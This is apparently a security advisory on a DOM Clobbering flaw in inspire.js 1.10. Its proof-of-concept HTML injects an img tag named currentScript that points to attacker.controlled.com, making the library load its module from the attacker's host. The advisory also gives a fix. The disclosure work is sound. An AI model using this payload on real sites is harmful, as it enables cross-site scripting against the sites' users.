We identified a DOM Clobbering vulnerability within the inspire.js library (version 1.10). The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have found similar issues in the other popular client-side libraries for building websites, including Webpack (CVE-2024-43788), Vite (CVE-2024-45812), and layui (CVE-2024-47075), which might be good references to this kind of vulnerability.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
The inspire.js library uses document.currentScript to set the base URL for loading its inspire.mjs module. This implementation is vulnerable to DOM Clobbering. The document.currentScript lookup can be shadowed by an attacker-injected element (e.g., <img name="currentScript" src="http://attacker.com/inspire.mjs">) via the browser’s named DOM access mechanism, allowing the attacker to control the URL used for loading resources.
// https://inspirejs.org/inspire.js
let url = new URL("./inspire.mjs", document.currentScript ? document.currentScript.src : "https://inspire.js.org/");
In this code, if an element with name="currentScript" is injected, document.currentScript may be overridden, causing the base URL to point to an attacker-controlled domain.
In this code, if an element with name="currentScript" is injected, document.currentScript may be overridden, causing the base URL to point to an attacker-controlled domain.
The following example demonstrates how a malicious inspire.mjs can be loaded from attacker.controlled.com via an injected HTML element:
<html>
<body>
<!-- Payload -->
<img name="currentScript" src="http://attacker.controlled.com/inspire.mjs"></img>
<!-- Payload -->
<!-- Library -->
<script src="https://inspirejs.org/inspire.js"></script>
<!-- Library -->
</body>
</html>
In this example, inspire.mjs will be loaded from the attacker’s domain (attacker.controlled.com) if the injected img tag is present.
To mitigate this issue, add a type check to ensure document.currentScript references only <script> elements:
let url = new URL("./inspire.mjs", document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' ? document.currentScript.src : "https://inspire.js.org/");